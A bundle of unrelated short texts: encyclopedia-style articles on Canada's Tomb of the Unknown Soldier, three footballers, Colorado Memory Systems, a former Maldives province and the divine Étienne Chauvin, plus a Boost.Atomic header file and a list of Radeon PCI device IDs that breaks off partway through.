At the request of the Royal Canadian Legion, the Canadian government became part of the project of creating a tomb of the unknown soldier for Canada, as part of the Canada Millennium Partnership Program. The Cabinet asked the Commonwealth War Graves Commission to select one of the 1,603 graves of unknown Canadians buried in the vicinity of Vimy Ridge. Chosen was Grave 7, in Row E of Plot 8 of the Cabaret-Rouge British Cemetery in Souchez, France, near the memorial at Vimy Ridge, the site of the first major battle where all four Canadian divisions fought together as a combined force. The remains of the soldier buried there were exhumed on the morning of May 16, 2000, and the coffin was flown in a Canadian Forces aircraft to Ottawa on May 25, accompanied by a 45-person guard of honour, a chaplain, Royal Canadian Legion veterans, and two representatives of Canadian youth. In Ottawa, the unknown soldier lay in state for three days in the Hall of Honour in the Centre Block on Parliament Hill.
On the afternoon of May 28, the body of the unknown soldier was transported to the National War Memorial on a horse-drawn Royal Canadian Mounted Police (RCMP) gun carriage. Governor General Adrienne Clarkson, her husband, and Prime Minister Jean Chrétien, as well as veterans, Canadian Forces personnel, and members of the RCMP were in the funeral cortege. Then, with full military honours before a crowd of 20,000, the body, in a silver maple casket, was re-interred in a sarcophagus in front of the war memorial. Legionnaires placed a handful of soil from each of Canada's provinces and territories, as well as from the soldier's former grave site, on the casket before the tomb was sealed.
The original headstone of the unknown soldier is the sole artifact and the focal point of the Memorial Hall exhibit within the Canadian War Museum. The hall was designed in such a way that sunlight will only frame the headstone once each year on the 11th of November at 11:00 am. At the former burial site of the unknown soldier, a grave marker similar to the other headstones in the Cabaret-Rouge Cemetery was placed at the now-empty grave. It is inscribed with these words:
Tomb
The tomb is intended to honour the approximately 116,000 Canadians who died in combat, as well as all members of the Canadian Armed Forces—in all branches—who died or may die in all conflicts, past, present, and future. It is long, wide, and high and built of Caledonia granite, originally quarried in Rivière-à-Pierre, Quebec, with a bronze relief sculpture and four bronze corner pieces. The granite was selected for its colour—matching that of the war memorial. The bronze work—showing a medieval sword, a First World War helmet, and branches of maple and laurel leaves (symbolizing both victory and death)—was designed by Canadian artist Mary-Ann Liu and cast in Roberts Creek, British Columbia. Three of the corner pieces show the different variants of the Memorial Cross during the reigns of three Canadian monarchs since the cross' inception—George V, George VI, and Elizabeth II—while the fourth is a poppy.
The design, chosen by a committee from six submissions by Canadian artists, reflects some of the themes and style of the Vimy Memorial, designed by Walter Seymour Allward. The site is maintained by Public Works and Government Services Canada.
The tomb has become a focal point at all commemorative events at the National War Memorial. At the first Remembrance Day following the tomb's installation, what became a tradition started spontaneously as attendees placed their poppies on the tomb. This act expanded to include the leaving of cut flowers, photographs, or letters to the deceased. The spontaneous display of respect has also carried over to Canada Day when the public leaves small, paper national flags on the tomb.
The Royal Canadian Legion commissioned in 2001 a small work of art on the theme of the Tomb of the Unknown Soldier by André Gauthier.
Sentries
Since 2007, a pair of sentries from the Ceremonial Guard, in full dress uniform and with unloaded weapons, have been stationed at the tomb, on rotation from 9 am to 5 pm. Originally, the programme ran only through July and August. This was expanded in 2014 to run from April 9 (the date of the start of the Battle of Vimy Ridge) to November 10, as well as during significant military anniversaries throughout the rest of the year.
Each morning, the first sentries are marched out with a duty piper and, upon taking their posts, are read their orders by the posting non-commissioned member: both are ordered arms and to stand at ease, weapon thrust out to the full extent of the right arm, head up, and feet 30 inches apart. Sentries hold their post for one hour before being replaced, though, a sentry may stand for two shifts in a day. Sentries on duty may march their beat, which consists of the senior sentry giving a sharp tap on the ground with his or her rifle butt, then acknowledged by the other sentry with a tap of his or her own rifle. A two-three pause between each movement, both sentries then come to attention, take a pace forward, shoulder their rifles, turn outwards, and start marching their beat of nine paces. At the ninth pace, both execute an about-turn and return to their original position, if a halt is signalled. Marching the beat can continue for the full hour if desired. Sentries may not interact with the public.
As the Ceremonial Guard is drawn from all branches of the Canadian Forces (the units chosen via an established rotation), the sentries, too, can be members of the Canadian Army, Royal Canadian Navy, or Royal Canadian Air Force, as well as the Special Operations Command. The commanding officer of each unit decides who will be sent to Ottawa. Occasionally, members of a police force will act as sentries at the tomb, such as when officers from the Royal Canadian Mounted Police did so on July 5, 2013, to honour Sergeant Arthur Richardson, a member of the North-West Mounted Police, who earned the Victoria Cross serving with Lord Strathcona's Horse during the Second Boer War.
Incidents
2006 urination incident
The Royal Canadian Legion leadership opined that the tomb deserved a military or police guard as a symbol of respect and to protect it from vandalism and desecration. These demands were brought into focus on the night of July 1, 2006, when Dr. Michael Pilon, a retired Canadian Forces major, photographed three young men urinating on the war memorial shortly after the annual Canada Day fireworks show over nearby Parliament Hill. In the summer of 2007, the sentry programme was instituted.
2014 shootings at Parliament Hill
On October 22, 2014, a man armed with a rifle shot at the sentries on duty at the tomb, fatally wounding Corporal Nathan Cirillo of The Argyll and Sutherland Highlanders of Canada (Princess Louise's), before proceeding across the street and into the Centre Block on nearby Parliament Hill. There, the shooter engaged in a firefight with Sergeant-at-Arms of the House of Commons Kevin Vickers and members of the Royal Canadian Mounted Police, which ended when he was killed by RCMP Constable Curtis Barrett.
2022 convoy protests
On the weekend of January 29, 2022, individuals participating in the Canada convoy protest against COVID-19 mandates danced on the statue, on the tomb, and parked vehicles on the surrounding grounds. The incident was criticized by military officials, politicians, and the Private Motor Truck Council of Canada.
See also
Canadian war memorials
Military history of Canada
Tomb of the Unknown Soldier
References
External links
Tomb of the Unknown Soldier, Veterans Affairs Canada
2000 in Canada
Canadian military memorials and cemeteries
+
Military history of Canada
Monuments and memorials in Ottawa
World War I memorials in Canada
Tombs of Unknown Soldiers
2000 establishments in Ontario
|
```c++
/*
* (See accompanying file LICENSE_1_0.txt or copy at
* path_to_url
*
*/
/*!
* \file atomic/detail/extra_fp_operations_fwd.hpp
*
* This header contains forward declaration of the \c extra_fp_operations template.
*/
#ifndef BOOST_ATOMIC_DETAIL_EXTRA_FP_OPERATIONS_FWD_HPP_INCLUDED_
#define BOOST_ATOMIC_DETAIL_EXTRA_FP_OPERATIONS_FWD_HPP_INCLUDED_
#include <cstddef>
#include <boost/atomic/detail/config.hpp>
#include <boost/atomic/detail/header.hpp>
#ifdef BOOST_HAS_PRAGMA_ONCE
#pragma once
#endif
namespace boost {
namespace atomics {
namespace detail {
template< typename Base, typename Value = typename Base::value_type, std::size_t Size = sizeof(typename Base::storage_type), bool = Base::is_always_lock_free >
struct extra_fp_operations;
} // namespace detail
} // namespace atomics
} // namespace boost
#include <boost/atomic/detail/footer.hpp>
#endif // BOOST_ATOMIC_DETAIL_EXTRA_FP_OPERATIONS_FWD_HPP_INCLUDED_
```
|
Sarah Cathryn Ann Robson (née McFadden; born 23 May 1987) is a Northern Irish footballer who plays as a defender or striker for Durham in the FA Women's Championship.
Magherafelt-born Robson played in Northern Ireland for Moyola Park and Ballymena United Allstars. In 2005, she won a scholarship to University of Southern Mississippi and played varsity soccer for Southern Miss Golden Eagles. Following graduation she headed to the Icelandic Úrvalsdeild, where she played for Fylkir, then Grindavík.
At the end of the 2010 Icelandic season, Robson and international teammate Rachel Furness left Grindavík for Sunderland.
In June 2012 The Belfast Telegraph newspaper reported that three Northern Ireland players including Robson had been selected in the 18-player Great Britain squad for the 2012 London Olympics. But Robson quickly denied the report: "I haven't received anything about being in final squad... Wish it was true but unfortunately not." When the final squad was named, no Northern Irish or Welsh players were included.
On 13 January 2016, it was announced she was leaving Sunderland after five years serving the club and signing with Durham.
International goals
References
External links
1987 births
Living people
Sportspeople from Magherafelt
Expatriate women's footballers in Iceland
Sunderland A.F.C. Women players
Women's Super League players
University of Southern Mississippi alumni
FA Women's National League players
Expatriate sportspeople from Northern Ireland in Iceland
Women's association footballers from Northern Ireland
Protestants from Northern Ireland
Northern Ireland women's international footballers
Southern Miss Golden Eagles women's soccer players
Sarah Robson
Sarah Robson
Women's association football central defenders
Women's association football forwards
Sarah Robson
Durham W.F.C. players
UEFA Women's Euro 2022 players
People from Bellaghy
Expatriate women's association footballers from Northern Ireland
|
Ionuț Alexandru Dobroiu (born 24 February 1988, București) is a Romanian former professional footballer who played as a forward.
Career
Ionuț Dobroiu was born on 24 February 1988 in Bucharest and his first sport practiced was athletics at the age of 7, winning major junior Romanian national competitions. He started playing football at Rapid București, making his Divizia A debut on 12 August 2007 for the club when coach Cristiano Bergodi used him in a 2–1 away victory against Universitatea Cluj. He scored his only Divizia A goal in a 2–0 home victory against Universitatea Craiova. Dobroiu was known for his speed, at a point reaching 5.2 seconds in a 50 metres sprint but also for his lack of discipline.
Conviction
Ionuț Dobroiu was sentenced in 2018 to a jail term of three years and 11 months for continuous high risk drug trafficking, formation of an organized criminal group, possession and consumption of high risk drugs. He executed his term at the Rahova penitentiary, being in the same cell with former footballer Răzvan Pădurețu and former Politehnica Timișoara owner, Marian Iancu. Dobroiu was released after two years and four months spent in jail.
References
External links
1988 births
Living people
Romanian men's footballers
Romania men's under-21 international footballers
FC Rapid București players
SCM Râmnicu Vâlcea players
Liga I players
Liga II players
Men's association football forwards
Footballers from Bucharest
|
Colorado Memory Systems, Inc. (CMS), was an American technology company independently active from 1985 to 1992 and based in Loveland, Colorado. The company primarily manufactured tape drive systems, especially those using quarter-inch cartridges (QIC)s, for personal computers and workstations. Colorado Memory Systems was founded by Bill Beierwaltes as an offshoot of his previous company, Colorado Time Systems, also based in Loveland. It was acquired by Hewlett-Packard in 1992.
History
Colorado Memory Systems, Inc., was founded by William "Bill" Beierwaltes in Loveland, Colorado, in 1985, as a division of Colorado Time Systems, another Loveland-based company that he had previously founded in 1972. Whereas Colorado Time Systems focused on computerized timekeeping displays for athletics while also selling a broad range of other products, Beierwaltes founded Colorado Memory Systems chiefly to focus on data storage products for the burgeoning personal computer industry of the 1980s. Before founding Colorado Time Systems in 1972, Beierwaltes was a product manager for Hewlett-Packard from 1964 to 1974, working on the development and marketing for HP's electronic measuring equipment, especially their line of voltmeters.
In March 1985, CMS launched its first products, a line of 60-MB quarter-inch cartridge (QIC) drives manufactured by Rexon's WangTek division and rebadged as Tecmar products for redistribution by IBM. The drives made use of the then-ubiquitous QIC-24 tapes and came in three configurations: an external drive sporting only the QIC tape mechanism (QIC/60AT), another external drive comprising the QIC reader–writer and a 20-MB hard disk drive (QIC/60W20), and an internal drive and controller board (QIC/60H). These drives were the first tape backup products to be resold by IBM for their Personal Computer platform (by then also including the XT and AT). In August 1985, CMS collaborated again with Tecmar to release a bevy of peripherals for Commodore's new Amiga computer (specifically the premier Amiga 500). These peripherals included a modem, a multifunction expansion module (including serial and parallel I/O, a real-time clock, and RAM), and a 20-MB external disk drive. These products were the first peripherals ever to be released for the Amiga.
CMS launched its first independently marketed products with the Jumbo line at the start of 1988. In 1989, they released a system in the Jumbo line, the QIC-150, that was the first to make use of Stac Electronics' Stacker compression algorithm in hardware. This allowed for a doubling of storage compared to contemporaneous QIC disk drives capacity without incurring a high performance penalty. The release of the QIC-150 shocked CMS' competitors such as Archive Corporation and Irwin Magnetics and upset the QIC Committee, a consortium of 35 companies who developed QIC hardware. The latter called for standardization in the use of such compression algorithms in hardware, as to ensure cross-compatibility between different manufacturers and to prevent unreadable backups when proprietary hardware becomes obsolete.
The company's Jumbo line eventually comprised the majority of the company's sales and was instrumental in its success into the early 1990s. By May 1990, Colorado Memory Systems had split from its parent company Colorado Time Systems while still operating out of Loveland. Their headquarters spanned 88,000 square feet and employed between 250 and 500 workers, each in disparate divisions, including management, manufacturing, and software development. By late 1992, the company employed 600.
Colorado Memory Systems announced their intention to make an initial public offering in June 1992. On the day before they were to go public, however, Hewlett-Packard (HP) announced their plans to acquire CMS in whole for an undisclosed amount in September 1992. CMS had posted profit of $2.6 million on sales of $131.5 million in the most recent financial quarter before their acquisition by HP. CMS remained an independently managed subsidiary of HP for a couple years, from November 1992 to November 1994, before their management was overtaken by HP and the subsidiary relegated to an division of HP. HP retained the Colorado Memory Systems name and Loveland headquarters for several years, until those headquarters were bought by Agilent Technologies, a spinoff of HP which acquired the latter's test equipment assets. Agilent eventually sold the building to the Thompson School District.
Two disgruntled executives of CMS, unhappy with the acquisition by HP, founded ComByte, Inc., in 1993. Beierwaltes himself exited retirement after CMS' acquisition to found OneStep Software in 1997. In 1998, he became the CEO of OnStream, a spin-off of Philips dedicated to tape drives and other data storage devices.
References
1985 establishments in Colorado
1992 disestablishments in Colorado
American companies established in 1985
American companies disestablished in 1992
Computer companies established in 1985
Computer companies disestablished in 1992
Computer storage companies
Computer storage tape media
Defunct computer companies of the United States
Defunct computer hardware companies
Defunct manufacturing companies based in Colorado
Hewlett-Packard acquisitions
Manufacturing companies established in 1985
Manufacturing companies disestablished in 1992
|
Central Province was one of the seven provinces of the Maldives. The provinces were created in a decentralization attempt by the Nasheed administration in 2008. It was governed by the Minister of State for Home Affairs, Ms. Thilmeeza Hussain. Rejecting this change, the Parliament saw the abolition of the province system in 2010, through a newly enacted Decentralization Act. It consisted of Dhaalu, Faafu and Meemu Atolls. Its capital was Kudahuvadhoo. Its population (2006 census) was 13,442.
References
Provinces of the Maldives
|
Anthony Fontana (born October 14, 1999) is an American professional soccer player who plays as a midfielder for Eredivisie side PEC Zwolle.
Youth soccer
Fontana began his recreational youth league development with Kirkwood Soccer Club in New Castle, Delaware at age 4. By age 10, Fontana had his first participation with the Philadelphia Union Academy and became a full-time participant in 2014.
Professional career
Bethlehem Steel
Fontana developed at the Philadelphia Union Academy and made his way through to Bethlehem Steel FC, the Philadelphia Union's second team as an academy player. He made his professional debut against FC Cincinnati in July 2016 at 16 years of age. He would go on to make 8 appearances for Steel during their inaugural season.
The next season, Fontana saw an additional 11 appearances for Steel FC, and even earned an appearance for the Union during their summer friendly against Swansea City.
Philadelphia Union
On July 17, 2017, Fontana signed a homegrown player contract with Philadelphia Union. Fontana became an active Union player on January 1, 2018.
On March 3, 2018, Fontana made his debut for Philadelphia Union, starting in the season opener against New England Revolution. He scored the opening goal of the season against the Revolution which was ultimately the game-winner. Fontana became the first Union homegrown player to score a brace when he came into the match as a substitute against the New England Revolution in September 2020. Fontana became a standout in the substitution role and finishing the 2020 season scoring six goals in 523 minutes of play, contributing the Union's first major trophy in the 2020 Supporters' Shield.
In the Union's debut season in the CONCACAF Champions League, Fontana became the first homegrown player to score a Champions League goal in a 4–0 home victory over Deportivo Saprissa, advancing to the quarterfinals. Despite being a starter at the beginning of the 2021 season, Fontana missed nearly two months due to concussion protocol. Fontana's contract concluded at the end of the 2021 season finishing with 51 appearances and 12 goals for the Union.
Ascoli
In February 2022, Fontana officially signed for Serie B club, Ascoli. On January 31, 2023, Fontana's contract with Ascoli was terminated by mutual consent.
PEC Zwolle
On March 8, 2023, Fontana signed with Eerste Divisie side PEC Zwolle on a deal until the end of the season.
International
Fontana was born in the United States and is of Italian descent. Fontana has appeared in the 2018 CONCACAF U-20 Championship representing United States.
Career statistics
Club
Honors
Philadelphia Union
Supporters' Shield: 2020
References
1999 births
Living people
American people of Italian descent
American men's soccer players
Philadelphia Union II players
Major League Soccer players
People from Newark, Delaware
Philadelphia Union players
Ascoli Calcio 1898 FC players
PEC Zwolle players
Soccer players from Delaware
Sportspeople from New Castle County, Delaware
United States men's under-20 international soccer players
USL Championship players
Serie B players
Men's association football midfielders
Homegrown Players (MLS)
American expatriate men's soccer players
Expatriate men's footballers in Italy
American expatriate sportspeople in Italy
Expatriate men's footballers in the Netherlands
American expatriate sportspeople in the Netherlands
|
Étienne Chauvin (18 April 16406 April 1725), French Protestant divine, was born in Nîmes. At the revocation of the Edict of Nantes he retired to Rotterdam where he was for some years preacher at the Walloon church. In 1695 the elector of Brandenburg appointed him pastor and professor of philosophy, and later inspector of the French college at Berlin, where he enjoyed considerable reputation as a representative of Cartesianism and as a student of physics.
His principal work is a laborious Lexicon Rationale, sive Thesaurus Philosophicus (Rotterdam, 1692; new and enlarged edition, Leeuwarden, 1713). He also wrote Theses de Cognitione Dei (1662), and started the Nouveau Journal des Savants (1694–1698).
References
1640 births
1725 deaths
People from Nîmes
French Calvinist and Reformed ministers
17th-century Dutch Calvinist and Reformed ministers
French philosophers
Huguenots
|
```objective-c
#define radeon_PCI_IDS \
{0x1002, 0x1304, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1305, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1306, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1307, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1309, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x130F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1310, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1311, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1312, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1313, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1315, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1316, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1317, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x1318, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x131B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x131C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x131D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KAVERI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x3150, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY}, \
{0x1002, 0x3151, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x3152, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x3154, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x3155, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x3E50, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x3E54, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4136, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS100|RADEON_IS_IGP}, \
{0x1002, 0x4137, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS200|RADEON_IS_IGP}, \
{0x1002, 0x4144, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4145, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4146, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4147, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4148, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4149, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x414A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x414B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4150, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4151, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4152, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4153, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4154, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4155, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4156, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350}, \
{0x1002, 0x4237, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS200|RADEON_IS_IGP}, \
{0x1002, 0x4242, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R200}, \
{0x1002, 0x4336, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS100|RADEON_IS_IGP|RADEON_IS_MOBILITY}, \
{0x1002, 0x4337, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS200|RADEON_IS_IGP|RADEON_IS_MOBILITY}, \
{0x1002, 0x4437, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS200|RADEON_IS_IGP|RADEON_IS_MOBILITY}, \
{0x1002, 0x4966, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250}, \
{0x1002, 0x4967, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250}, \
{0x1002, 0x4A48, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A49, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A4F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A50, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4A54, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4B48, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4B49, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4B4A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4B4B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4B4C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R420|RADEON_NEW_MEMMAP}, \
{0x1002, 0x4C57, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV200|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C58, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV200|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C59, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C5A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C64, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C66, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \
{0x1002, 0x4C67, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E44, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4E45, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4E46, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4E47, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \
{0x1002, 0x4E48, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4E49, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4E4A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4E4B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R350}, \
{0x1002, 0x4E50, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E51, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E52, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E53, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E54, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x4E56, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV350|RADEON_IS_MOBILITY}, \
{0x1002, 0x5144, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5145, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5146, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5147, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5148, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R200}, \
{0x1002, 0x514C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R200}, \
{0x1002, 0x514D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R200}, \
{0x1002, 0x5157, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV200}, \
{0x1002, 0x5158, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV200}, \
{0x1002, 0x5159, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100}, \
{0x1002, 0x515A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100}, \
{0x1002, 0x515E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5460, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY}, \
